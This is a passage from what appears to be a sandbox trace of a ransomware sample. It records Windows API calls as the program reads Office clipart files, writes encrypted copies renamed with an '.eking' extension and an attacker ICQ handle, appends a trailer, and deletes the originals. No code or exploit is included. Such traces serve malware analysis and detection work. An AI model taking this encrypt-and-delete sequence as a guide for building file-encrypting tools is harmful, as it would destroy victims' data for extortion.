returned 1 [0271.488] CloseHandle (hObject=0x3ac) returned 1 [0271.488] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0 [0271.488] SetEvent (hEvent=0x2b8) returned 1 [0271.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.489] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=296) returned 1 [0271.490] CloseHandle (hObject=0x3ac) returned 1 [0271.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0271.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0271.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.491] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.491] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0271.492] ReadFile (in: hFile=0x3ac, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x128, lpOverlapped=0x0) returned 1 [0271.493] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x130, lpOverlapped=0x0) returned 1 [0271.494] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.496] CloseHandle (hObject=0x3ac) returned 1 [0271.496] CloseHandle (hObject=0x3a8) returned 1 [0271.496] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0 [0271.497] SetEvent (hEvent=0x2b8) returned 1 [0271.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.498] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=552) returned 1 [0271.498] CloseHandle (hObject=0x3a8) returned 1 [0271.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0271.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0271.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.499] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.499] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0271.502] ReadFile (in: hFile=0x3a8, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x228, lpOverlapped=0x0) returned 1 [0271.503] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x230, lpOverlapped=0x0) returned 1 [0271.505] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.505] CloseHandle (hObject=0x3a8) returned 1 [0271.505] CloseHandle (hObject=0x3ac) returned 1 [0271.505] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0 [0271.505] SetEvent (hEvent=0x2b8) returned 1 [0271.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.507] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4148) returned 1 [0271.507] CloseHandle (hObject=0x3ac) returned 1 [0271.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0271.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0271.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.508] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.509] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0271.509] ReadFile (in: hFile=0x3ac, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1034, lpOverlapped=0x0) returned 1 [0271.760] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1040, lpOverlapped=0x0) returned 1 [0271.762] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.762] CloseHandle (hObject=0x3ac) returned 1 [0271.762] CloseHandle (hObject=0x3a8) returned 1 [0271.762] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0 [0271.763] SetEvent (hEvent=0x2b8) returned 1 [0271.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.765] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=13042) returned 1 [0271.765] CloseHandle (hObject=0x3a8) returned 1 [0271.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0271.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0271.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.766] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.766] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0271.767] ReadFile (in: hFile=0x3a8, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x32f2, lpOverlapped=0x0) returned 1 [0271.770] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3300, lpOverlapped=0x0) returned 1 [0271.772] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.772] CloseHandle (hObject=0x3a8) returned 1 [0271.772] CloseHandle (hObject=0x3ac) returned 1 [0271.772] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0 [0271.773] SetEvent (hEvent=0x2b8) returned 1 [0271.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.774] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2700) returned 1 [0271.774] CloseHandle (hObject=0x3ac) returned 1 [0271.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0271.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0271.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.775] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.775] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0271.776] ReadFile (in: hFile=0x3ac, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xa8c, lpOverlapped=0x0) returned 1 [0271.779] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xa90, lpOverlapped=0x0) returned 1 [0271.781] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.781] CloseHandle (hObject=0x3ac) returned 1 [0271.781] CloseHandle (hObject=0x3a8) returned 1 [0271.781] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0 [0271.781] SetEvent (hEvent=0x2b8) returned 1 [0271.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.782] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6958) returned 1 [0271.782] CloseHandle (hObject=0x3a8) returned 1 [0271.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0271.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0271.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.784] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.784] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0271.785] ReadFile (in: hFile=0x3a8, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1b2e, lpOverlapped=0x0) returned 1 [0271.787] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1b30, lpOverlapped=0x0) returned 1 [0271.789] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.789] CloseHandle (hObject=0x3a8) returned 1 [0271.789] CloseHandle (hObject=0x3ac) returned 1 [0271.790] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0 [0271.790] SetEvent (hEvent=0x2b8) returned 1 [0271.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.792] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=13936) returned 1 [0271.792] CloseHandle (hObject=0x3ac) returned 1 [0271.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0271.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0271.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.793] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.793] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0271.795] ReadFile (in: hFile=0x3ac, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x3670, lpOverlapped=0x0) returned 1 [0271.850] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3680, lpOverlapped=0x0) returned 1 [0271.852] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.852] CloseHandle (hObject=0x3ac) returned 1 [0271.852] CloseHandle (hObject=0x3a8) returned 1 [0271.853] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0 [0271.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 